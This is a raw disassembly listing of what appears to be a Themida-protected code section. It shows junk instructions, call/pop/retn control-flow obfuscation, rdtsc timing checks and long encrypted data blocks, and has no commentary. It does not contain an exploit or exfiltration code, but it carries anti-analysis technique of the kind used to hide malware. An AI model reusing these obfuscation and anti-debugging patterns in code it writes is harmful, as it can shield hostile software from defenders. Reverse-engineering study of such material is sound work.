34DF1BCEh, 0A6DB67h dd 43A7CAh, 0DC80BA9Fh, 0 dd 0FEB51B54h, 0FE330000h db 0FBh, 0 word_5C09BA dw 0 ; CODE XREF: Themida_:005C095Fj dword_5C09BC dd 52DDB487h, 9ED92023h, 7C809E01h; --------------------------------------------------------------------------- loc_5C09C8: ; CODE XREF: Themida_:005C0977j jmp loc_5C1CDC ; --------------------------------------------------------------------------- push 0 push edi call sub_5C09D8 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C09D8 proc near ; CODE XREF: Themida_:005C09D0p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5C09D8 endp ; --------------------------------------------------------------------------- dd 6B7176E4h, 0E94626B2h, 5, 1219D1BEh ; --------------------------------------------------------------------------- cli loc_5C09F9: ; DATA XREF: Themida_:005832B0o cmp dword ptr [ebp+7E42015h], 0 jnz loc_5C0A66 push 0 push esi call sub_5C0A11 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0A11 proc near ; CODE XREF: Themida_:005C0A09p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5C0A11 endp ; --------------------------------------------------------------------------- db 0EAh, 94h, 7Fh ; --------------------------------------------------------------------------- cmpsd dec ebx lodsb popa mov eax, 0 push 0 push ebx call sub_5C0A38 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0A38 proc near ; CODE XREF: Themida_:005C0A30p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5C0A38 endp ; --------------------------------------------------------------------------- dd 0E5D0494Ah, 820F067Ah, 6, 2BE9958Bh, 4C207E4h, 38F0F00h dd 66000000h ; --------------------------------------------------------------------------- mov edx, ecx loc_5C0A66: ; CODE XREF: Themida_:005C0A00j mov eax, eax sub [ebp+7E42A21h], esi cmp dword ptr [ebp+7E413F1h], 0 jnz short loc_5C0A80 cmp dword ptr [ebp+7E40935h], 0 jz short loc_5C0A93 loc_5C0A80: ; CODE XREF: Themida_:005C0A75j push eax push ebx mov eax, eax mov eax, 4D0h lea ebx, [ebp+7E6E7C4h] call ebx ; _iob pop ebx pop eax loc_5C0A93: ; CODE XREF: Themida_:005C0A7Ej cmp dword ptr [ebp+7E40935h], 0 jz short loc_5C0AAD push eax push ebx mov eax, 4D0h lea ebx, [ebp+7E6E711h] call ebx ; _iob pop ebx pop eax loc_5C0AAD: ; CODE XREF: Themida_:005C0A9Aj push 0 push edi call sub_5C0AB8 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0AB8 proc near ; CODE XREF: Themida_:005C0AB0p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5C0AB8 endp ; --------------------------------------------------------------------------- dd 63AE3C4Dh, 108AF5A2h, 4FE98022h, 0D2F78166h, 57006ACDh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0CA7726A5h, 8B848F31h, 8B8AB9C0h, 858D62BAh, 7E7E531h dd 3758589h, 509007E4h, 0AE8h, 0C51D4800h, 754D3FE9h, 6096DF3Ah dd 6E9h, 13E63200h, 0B849963Bh, 77C4F720h, 23905A61h, 0E41DE9BDh dd 0EE858D07h dword_5C0B3C dd 6A07E7E4h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch ; DATA XREF: Themida_:005857DCo dd 1C042444h, 43000000h, 50C4C353h, 7B2F2A7h, 5345BD82h dd 6AF8BA66h, 66609059h, 618366BEh, 90F48A50h, 8A1BCA81h dd 85891EF6h, 7E43179h, 17DD95FFh, 0CA8107E4h, 5D83452h dd 424448Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0DDC35040h, 0A3C5EFD5h, 0FAB70F60h, 61F28B66h dd 0E5198589h, 13E807E7h, 4B000000h, 0D6B88545h, 0F3874B80h dd 0C54E937Dh, 4D4C64DCh, 8D016D34h, 7E42D35h, 24448B5Fh dd 53006A08h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0AB23D44Dh, 0E89F1B7Dh, 99BD8962h, 6607E41Eh dd 7EF3DA81h, 0E52D8589h, 0B96607E7h, 0BD83360Fh, 7E42635h dd 0D7850F00h, 80000000h, 85C6D8F6h, 7E42C2Dh, 52006A47h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 7AA6108Eh, 3622D379h, 98206868h, 0BA5250A5h, 61F0131Dh dd 0AE8310Fh, 0AC000000h, 2DC7862Bh, 3C307880h, 0FB96623h dd 585A593Ch, 0BA243481h, 6A710287h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 9C4BC351h dd 950164ABh, 7E431DDh, 3860Fh, 0BF0F0000h, 41B5FFCEh dd 8D07E421h, 0E7B0A785h, 0E8D0FF07h, 12h, 51D9A591h, 1BCA01B0h dd 0B498EF72h, 9FAC0999h, 0BD899CB3h, 7E4056Dh, 3585895Ah dd 6A07E426h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 83A1C356h, 0BD83D30Bh, 7E41B81h dd 0B6850F00h, 0F000000h, 1F86h, 19870F00h, 0E9000000h dd 14h, 580E554Dh, 0CD379E72h, 7F85C2AEh, 67CA456Eh, 62EC2544h dd 2C2D85C6h, 534707E4h, 34685AFCh, 0B6519ECFh, 240481B5h dd 3870E6AEh, 0B15958Bh, 0B5FF07E4h, 7E42141h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9DC35747h, 0ABC89AB3h dd 0A7858DA0h, 8907E7B0h, 0E41569B5h, 8E807h, 7D6D0000h dd 0C2EE143Dh, 0D38B9645h, 6AD0FF59h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 89F4C351h dd 0E4027995h, 81858907h, 8B07E41Bh, 0E42F6D8Dh, 35BD8307h dd 7E41Fh, 0ED850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 7F1C60C3h, 0C9F0B87Fh dd 0E915DF0Fh, 7, 70DB12A0h, 0C6796580h, 0E42C2D85h, 8A0F5607h dd 3, 68FEBF0Fh, 69FDE19Bh, 10E95250h, 9000000h, 5B3892CEh dd 5A0EB91h, 0DB042EA4h, 0F588832h, 81585A31h, 8B9E2404h dd 81666A21h, 0FF2D42F2h, 0E42141B5h, 858DF807h, 7E7B0A7h dd 0C8D0Fh, 870F0000h, 6, 2DF2C281h, 0D0FF6344h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0DBC35343h, 0BCF261B5h dd 360C10D4h, 0D18D3381h, 8B07E40Dh, 0E419498Dh, 35858907h dd 6A07E41Fh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0FE7C350h, 687h, 28F18100h, 0C6356062h dd 0E42C2D85h, 8D236C07h, 7E41BE1h, 0F9CCDB68h, 816160A1h dd 0A3A82404h, 6A390Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0FF44BDC3h, 0E4019DB5h, 0FE907h dd 0CFB20000h, 9663C294h, 8E795FE1h, 91EBF02Ah, 8850F1Bh dd 60000000h, 0FD1BF0Fh, 8D61DEB7h, 0E43BDC85h, 0FE907h dd 22250000h, 0EE4B1908h, 411CC24Fh, 5482FC27h, 6AD0FF3Ch dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 1D1C353h, 8003A219h, 85897CE1h, 7E7E51Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0AFC35646h dd 0C4CA9019h, 8AD18B66h, 39BD83CBh, 7E7E5h, 0DF850Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0E298ADC3h, 9E8B3h, 6A60000h, 85A800A6h dd 6089C62Dh, 12E9h, 61E9CF00h, 0AB2903DEh, 98489A33h dd 0ADB964B7h, 6047A9E4h, 0C65A6161h, 0E42C2D85h, 8D8B4907h dd 7E42321h, 0DE9h, 3784C000h, 7973563h, 0B9ABFF91h, 0D168DE5Ah dd 0F0E8D2Ah, 886h, 8F0F6000h, 0 ; --------------------------------------------------------------------------- popa add dword ptr [esp], 7D87FF18h jb loc_5C101C mov dl, cl loc_5C101C: ; CODE XREF: Themida_:005C1014j push dword ptr [ebp+7E4019Dh] or [ebp+7E41DE5h], ebx lea eax, [ebp+7E43BDCh] movzx ecx, cx call eax and edx, 4B460114h mov [ebp+7E7E539h], eax push 0 push ebp call sub_5C104A and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C104A proc near ; CODE XREF: Themida_:005C1042p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5C104A endp ; --------------------------------------------------------------------------- dw 0CA6Dh ; --------------------------------------------------------------------------- lahf sub ecx, 0EBC7E413h cmc jmp loc_5C1071 ; --------------------------------------------------------------------------- db 0D4h, 69h, 3Eh dd 424CA399h db 1Dh ; --------------------------------------------------------------------------- loc_5C1071: ; CODE XREF: Themida_:005C1064j push 4 mov ch, 0DEh call sub_5C107E add [eax], dl ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_5C107E proc near ; CODE XREF: Themida_:005C1075p var_4 = dword ptr -4 mov edx, 601EB2C8h push eax mov edx, 74614CE6h mov eax, [esp+4] push eax push edx rdtsc pusha push eax push edx rdtsc pop edx pop eax push ecx pop ebx popa pop edx pop eax mov eax, [eax] mov di, 6C78h mov [esp+4], eax pop eax mov [ebp+7E42C0Dh], esi push 6BC12884h push eax mov dl, 0C0h pop ecx xor [esp+4+var_4], 6BC02884h push 0 push edx call sub_5C10C9 and [edx-3Dh], bl sub_5C107E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5C10C9 proc near ; CODE XREF: sub_5C107E+43p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5C10C9 endp ; --------------------------------------------------------------------------- mov al, ds:5EB1E5F2h push 0 jmp loc_5C10EF ; --------------------------------------------------------------------------- db 8Bh, 2, 4Bh dd 7EED53F9h db 2Dh, 71h, 70h ; --------------------------------------------------------------------------- loc_5C10EF: ; CODE XREF: Themida_:005C10E0j call dword ptr [ebp+7E423E1h] push 0 push edi call sub_5C1100 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1100 proc near ; CODE XREF: Themida_:005C10F8p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5C1100 endp ; --------------------------------------------------------------------------- dec edi sbb al, 1Ch pop ebx and eax, 0B55F899h push ebx mov dl, 4Ch pop ecx mov [ebp+7E7E529h], eax push 0 push ebp call sub_5C112E and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C112E proc near ; CODE XREF: Themida_:005C1126p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5C112E endp ; --------------------------------------------------------------------------- dw 96BDh dd 0EE9358Bh, 0DB000000h, 9D4901A1h, 0BA900ADh, 6950E671h dd 2185C7C2h, 7E7E5h, 66000000h, 6AEE8ABFh, 2BB96600h dd 713168CCh, 3481033Dh, 3C713124h, 0DF816603h, 8B905208h dd 0BA6650F9h, 6A909FC7h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0FE1CC357h, 1B8BEC9Ch dd 9D8934B5h, 7E40E99h, 0E1C98166h, 6A0B6A7Dh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 749DC353h, 743A88D4h, 0D9BD8B5Bh, 8D07E42Ah, 0E7E4F685h dd 0FFB70F07h, 810F90h, 50000000h, 2990CA8Bh, 0E4258D95h dd 3595FF07h, 6A07E426h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 8101C353h, 89CA8B66h dd 0E4246D85h, 0B58D07h, 6A07E7E5h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0B07C355h dd 0E4245995h, 0FA8B9607h, 3820F50h, 66000000h, 6A96CA8Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 97B6C351h, 89F0F88Eh, 0CDCE6FB9h, 19BD033Dh dd 0BA07E423h, 345FACE6h, 58C0F90h, 0BF000000h, 491EF6F6h dd 12BA6650h, 6A90C4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 2400D2C3h, 892E7248h, 0E40DB9BDh dd 13E907h, 0ADAE0000h, 210316D3h, 0B86C0DCFh, 0EF686B57h dd 33A81DEh, 0BE9E5h, 50680000h, 1D67495Bh, 97EE631Ah dd 8195FFF6h, 0F07E41Bh, 0C00BF8BFh, 55850Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 5297EAC3h, 819E5EC0h, 27F40CEFh, 753E92Ah, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0E96A70C3h, 7, 6448D630h, 0FF8EB1E8h, 0FDBD8BD0h, 8B07E41Ah dd 0E7E529B5h, 6DBD2907h, 2B07E432h, 0E405F9BDh, 20468D07h dd 46AFB8Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0A9C35545h, 0FC62586h, 81h, 0BE85000h db 3 dup(0) byte_5C139B db 32h ; DATA XREF: Themida_:00582624o dd 35C98645h, 3E859BB5h, 895FAB1Dh, 958B2404h, 7E40D51h dd 0E53995FFh, 0B96607E7h, 0C00B3ED3h, 24840Fh, 0B1600000h dd 0DE99Ch, 0A10000h, 63F38D1Dh, 836F1A51h, 61205BF9h dd 69CE9h, 3840F00h, 0F000000h, 7E80D0B7h, 840F0020h, 689h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 44C35040h dd 1CE18D2Bh, 6A6007E4h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 7E4DC357h, 66C3D68Dh dd 0BB4EC981h, 6860Fh, 95290000h, 7E42491h, 6A20468Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0B0B9C353h, 0EC0E61B9h, 89EE8ABAh, 62CA8049h dd 0E5258589h, 6A07E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0A784B0C3h, 0A04AA276h, 0BD89B22Ah dd 7E40199h, 134E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0B3DA1FD4h, 40D3BF0Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0D4C35040h dd 0CF374063h, 66A58143h, 0BA50D68Bh, 49795846h, 8B240489h dd 6A046AFEh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 4633C350h, 3351C570h, 0E413C58Dh dd 84BA5F07h, 901C4D40h, 10E9h, 74484600h, 0C5CF7D1h, 0DF4B38A2h dd 67319271h, 0BB6050B5h, 79B1C311h, 61DE8B66h, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 6B811153h, 3230BA66h, 0E53995FFh, 8D3107E7h, 7E41C05h dd 5158D88Bh, 12A99D29h, 0B5907E4h, 4E840FDBh, 0E9000000h dd 10h, 51B2CCA9h, 0C40E09DBh, 2E818A0Ch, 0F10A859Fh, 4D4E9h dd 8B606000h, 0F59589C7h, 6107E40Eh, 2F9DB58Bh, 526107E4h dd 1A890Fh, 14E80000h, 0EB000000h, 6570A636h, 8C425529h dd 0FD98B9Ah, 482BEE6Fh, 5FB6ADA3h, 388059h, 0FEE5850Fh dd 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 390ADDC3h, 0E52BE12Ah, 89E82363h, 0E4264195h dd 19E907h, 8A0F0000h, 0Ch, 68E0Fh, 880F0000h, 0 ; --------------------------------------------------------------------------- loc_5C1624: ; CODE XREF: Themida_:005C1657j dec eax or ecx, [ebp+7E426BDh] cmp eax, [ebp+7E7E525h] jb loc_5C168B pusha mov ebx, [ebp+7E402E1h] mov [ebp+7E42525h], ecx popa cmp byte ptr [eax], 5Ch jz loc_5C168B mov ecx, [ebp+7E41FD9h] cmp byte ptr [eax], 2Fh jnz loc_5C1624 push 0 push eax call sub_5C1668 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1668 proc near ; CODE XREF: Themida_:005C1660p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5C1668 endp ; --------------------------------------------------------------------------- dd 0A285C76Eh, 0F8A7A677h, 81566F23h, 97F039D9h db 6Ch, 5Fh, 0F5h ; --------------------------------------------------------------------------- loc_5C168B: ; CODE XREF: Themida_:005C1631j ; Themida_:005C1648j inc eax push 0 push ebp call sub_5C1697 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1697 proc near ; CODE XREF: Themida_:005C168Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5C1697 endp ; --------------------------------------------------------------------------- db 2Dh dd 60340172h, 156D9501h, 6ABF07E4h, 6157B8AEh, 76F0BF66h dd 0E52DBD83h, 0F0007E7h, 1DD84h, 418D2900h, 9007E425h dd 8B525050h, 50310FF8h, 0E9310F52h, 11h, 841D01EDh, 56C239B2h dd 0B895075Bh, 0A205AEC6h, 5A585AF7h, 6A9058h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 2700CBC3h, 0BD897DF5h, 7E423F1h, 0E52D8503h, 8D0307E7h dd 7E403C5h, 24048950h, 1D1D9D29h, 46A07E4h, 0F32BB8B9h dd 6E89033h db 3 dup(0) byte_5C173F db 9Fh ; DATA XREF: Themida_:00584B2Co dd 5C23F73Eh, 59FA8BB8h, 0BF525050h, 5A271CD2h, 6060310Fh dd 585A6161h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0F90C492h, 8ADC43BCh, 0A18D89F1h dd 8107E426h, 510FB2CAh, 3995FF35h, 6A07E7E5h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 8524C352h, 0D1EC2261h, 8D8BF3BFh, 7E41C15h, 1B499D89h dd 0D88B07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0D9C35747h, 4A9339E5h, 6613D937h, 58E6FEBFh, 0FDB0BF8h dd 6084h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 7C3B613Ch, 666F87E7h, 0F834C181h dd 4798D33h, 56E907E4h, 6A000002h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 4528C353h dd 268F0344h, 6800F59h, 89000000h, 0E4036D8Dh, 0C607h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0ABC35545h dd 0E1B7EB3Eh, 958B3F2Eh, 7E4321Dh, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 6732E88Fh dd 0B369137Ch, 8904F281h, 66900B63h, 8B50D68Bh, 0DE990D6h dd 0A6000000h, 0C1BD6682h, 0AB43D987h, 0E947A0DDh, 6A1E6Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0C757B4C3h, 5E9h, 9C793D00h, 840FC931h, 5, 0CA6962B9h dd 0CE95054h, 0C000000h, 0A008D39Fh, 6C3AD078h, 89D7163Fh dd 81662404h, 0FF0A16C9h, 0E7E53995h, 0C880F07h, 0E9000000h dd 7, 175C10C4h, 8BC7F997h, 53006AD8h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0C2A5C05Fh dd 0FB5E78Ah, 1280h, 0DE900h, 765E0000h, 7832EB3Bh, 0C74F99D2h dd 58529DACh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 4DC35040h, 64DE0831h, 89344936h, 0FDB0B03h, 3284h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0E9684C11h, 0C5h, 9810Fh, 0F5600000h, 13A98D01h dd 506107E4h, 39B864BAh, 24048905h, 0B5FFFA8Bh, 7E7E519h dd 0BAFA8B66h, 525056D0h, 0E51D95FFh, 958B07E7h, 7E40B1Dh dd 850FC00Bh, 53h, 7E8h, 161C6900h, 0DDFEBFE6h, 56FFB966h dd 13E86159h, 1000000h, 0F7E65ED8h, 6E8CF65Bh, 0EEC6F854h dd 0DA1C8D1Ch, 0E180AC92h, 0BE95FCCh, 0C000000h, 0FA4C1BECh dd 794EBF76h, 85C7A74Fh, 7E7E521h, 1, 0B15B589h, 36E907E4h dd 61000000h, 12810Fh, 0DE90000h, 0C3000000h, 85EA17D9h dd 0B0505797h, 89357576h, 11CC681h, 95890000h, 7E43029h dd 6F98589h, 0F6E907E4h, 9FFFFF8h, 0E4013995h, 654E6807h dd 0AE94B0Eh, 16000000h, 79D2987Dh, 8967C5BBh, 2434816Ch dd 4B0EE54Eh, 148D8D09h, 958907E4h, 7E40111h, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0B80C12C3h, 11496DF7h, 0B2EE33BFh, 29B5FF11h, 2907E7E5h dd 0E4183D9Dh, 3595FF07h, 8007E41Fh, 858B02D9h, 7E7E521h dd 7098D89h, 0E89007E4h, 7, 0D7DFDFBh, 5048EFA2h, 860F52h dd 0F000000h, 0F525031h, 5A585A31h, 50505958h, 0FD18B52h dd 6BF6631h, 90585A0Ch, 8DD7BF0Fh, 0E7E53185h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0C370B4A1h, 0ECC70F21h, 0F58D8B04h, 9007E42Ch, 198E0Fh dd 14E90000h, 28000000h, 19AF0878h, 8C4CA90h, 0CBE583FBh dd 0AB312E3Bh, 5039639Bh, 8B665250h, 60310FD6h, 5A616160h dd 0BD299058h, 7E4006Dh, 0E4EE858Dh, 0BF6607E7h, 8950D852h dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0D00BC2C3h, 69FF5F37h, 66572AE7h, 0FF59CE8Bh dd 0E40B8195h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 0C182235Dh, 6AC08Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 5F9860C3h, 0F88B6656h, 13F1BD83h, 750007E4h, 35BD8309h dd 7E409h, 53501374h, 0D0B8C08Bh, 8D000004h, 0E6E82B9Dh dd 5BD3FF07h, 35BD8358h, 7E409h, 53501174h, 4D0B8h, 2A9D8D00h dd 0FF07E6E7h, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 1ECEC352h, 0EA91F8E5h dd 0E626D2BFh, 271958Bh, 0C08B07E4h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 6DC35545h, 9187C9F8h, 0B70F9A7Fh dd 6A58D0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 875905C3h, 59310C61h, 0FA8B660Bh, 6A0008C2h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 88B3C350h, 0D85EB253h ; --------------------------------------------------------------------------- loc_5C1CDC: ; CODE XREF: Themida_:loc_5C09C8j mov eax, eax push 0 push esi call sub_5C1CE9 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1CE9 proc near ; CODE XREF: Themida_:005C1CE1p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5C1CE9 endp ; --------------------------------------------------------------------------- db 68h, 71h, 25h dd 12E9B7h, 5EA90000h, 77E4C385h, 0B34292A8h, 2E9134D1h dword_5C1D10 dd 0EFCDFE2Fh, 0E56E858Dh, 0FA8B07E7h, 0E258589h, 39EB07E4h ; DATA XREF: Themida_:00583E40o dd 0CB0000h, 0CB02CCh, 0CB02E4h, 0 dd 44E8E2E2h, 75F1EE0Ch, 21E0E6CCh, 4CEBE2A5h, 4DE1A504h dd 75CB8BD8h, 21C9C71Eh dword_5C1D50 dd 51CAFF63h, 49D1E5F3h, 45E4EE39h, 0AA70EBA5h, 7485E112h ; DATA XREF: Themida_:00582E14o ; Themida_:005838F8o dd 21858881h, 0E2D8ABB4h, 5E90207h, 5C10A29h, 21859392h dd 0E2D0CE4Bh, 5DBC6F58h, 7F420A2Fh, 0A2E73FCAh, 0C5967A09h dd 28F08B5Dh, 28B036AEh, 55858C72h, 0AAD6DB52h, 253C3365h dd 0A40C8BD2h, 26619F10h, 0C8751639h, 0F27A8CBCh, 9C06D376h dd 266182A3h, 7192FF4Bh, 253C33F6h, 0A40C8BD2h, 26619F10h dd 0C75A1639h, 0F27A8CBCh, 0ACB4D376h, 26618BB3h, 0C9D78B21h dd 21858BA6h, 7B46D1F2h, 25A1DFE0h, 25A1CF35h, 21858B42h dd 0F246D96Fh, 4166757Bh, 21EF4BC0h, 218663F5h, 79A58BD2h dd 650CD3AAh, 65048F90h, 21988F7Eh, 71C58B2Dh, 0F719A355h dd 0DD3B9E57h, 2ED5A8EEh, 21858753h, 27028469h, 8858BB4h dd 0C58BB6D7h, 0C004D2Ah, 77826FBAh, 2B4416C2h, 0E7ED8C41h dd 0AAB81808h, 5810AB9h, 7E915638h, 218580B3h, 3775B42Dh dd 462402C4h, 0EADD266Eh, 0C43E5Ah, 9C0E8C36h, 26618E7Ch dd 91220E39h, 94848CBDh, 2661AAB0h, 0AB8A5B69h, 21858B4Ch dd 21840FAAh, 12798BD2h, 0C5A372DCh, 4B81E1B3h, 226DD85Ah dd 1858B2Dh, 0A8DE48CDh, 0A081AF17h, 3A81AFE1h, 62858BD2h dd 5466483Ah, 643D91C4h, 0D0EDF08Eh, 0C8C04FF9h, 21858B98h dd 0D840A641h, 900738A0h, 72B14072h, 150499D7h, 0E5417A90h dd 7285E11Fh, 218588C5h, 0E2DEAB96h, 5D90210h, 5C10AA1h dd 21859ED6h, 0E2D6C869h, 9C0CD0DCh, 2661A903h, 0D60EED7Eh dd 39CAE3CCh, 2A6DD1C4h, 0E9858BA5h, 4C2D33D5h, 0BEE2E02Dh dd 2ED696F0h, 21858BDDh, 0A0DAD22Dh, 3B26AFA2h, 0BC0CD1C4h dd 26618250h, 21EF8BB8h, 21866338h, 78A58BB4h, 6D0CD299h dd 65048F09h, 21928FB2h, 70C48B4Bh, 42CC8466h, 3C100235h dd 0DE826F71h, 7385E164h, 218588B2h, 0E2DFAB2Dh, 5D102CCh dd 5C10A4Fh, 218591A1h, 0E2D7C9D2h, 2A56BB7Ch, 414D0FB7h dd 218585B3h, 255CB52Dh, 0FB6FC19Ah, 806B4EDBh, 2ECC2F3Bh dd 21858B58h, 0A40CEA69h, 2662732Dh, 0C9D58B30h, 21858B2Eh dd 7946D3B6h, 25A1CFC2h, 25A1CF24h, 21858BC9h, 6946DB29h dd 0F523598Bh, 12FCA898h, 0C590E290h, 247D0091h, 21858987h dd 0D9180E2Ch, 0E1068C35h, 80000271h, 12826C4Ch, 2369329Ah dd 8B768B2Dh, 0C9D28BFCh, 21858B48h, 7E46D485h, 25A1F75Bh dd 25A1CFE8h, 21858BAFh, 9846DC1Dh, 43497297h, 9E0F9EC6h dd 711E5BD9h, 218301AAh, 0B4868BD2h, 26619F04h, 21858C5Dh dd 0EA82F5Ah, 0AAED6CAAh, 0DA80E50h, 4BC68CAFh, 226DDDA5h dd 1858BD2h, 0A8DB4837h, 0A081AFC0h, 3881AF1Eh, 67858B2Dh dd 6C3048C0h, 1770AD48h, 0B30B4524h, 256DD3FBh, 7F858B69h dd 7119ECDFh, 0E90ED90Ah, 0EC3ABA22h, 7BD27445h, 5C10013h dd 263BEDA1h, 0AA8500B0h, 5C1029Ah, 218262B0h, 899A8B5Ah dd 0B2A0DEA7h, 0ABD3D320h, 947AD298h, 2661AAE4h, 0C9D48BB8h dd 21858B6Ah, 7846D294h, 25A1C7D3h, 25A1CFACh, 21858B80h dd 6946DA0Ah, 0A4088243h, 26623B75h, 0C9D68B03h, 21858BB7h dd 7A46D07Ah, 25A1D7A4h, 25A1CF17h, 21858B52h, 0E246D8E6h dd 0E25F442Ah, 218963FAh, 83288BB4h, 7610F95h, 612FA27Dh dd 7B7DA2E2h, 0CF055BB4h, 84000206h, 0A0826FD8h, 3B85E987h dd 50000683h, 4B826F76h, 226DD92Dh, 1858B96h, 0A8DF4811h dd 0A081AFF1h, 3781AF96h, 63858B69h, 0DBED48E6h, 47F035C0h dd 0A40CEFD1h, 2661AFE7h, 0C9D28B21h, 21858BA6h, 7E46D4F2h dd 25A1F7E0h, 25A1CF35h, 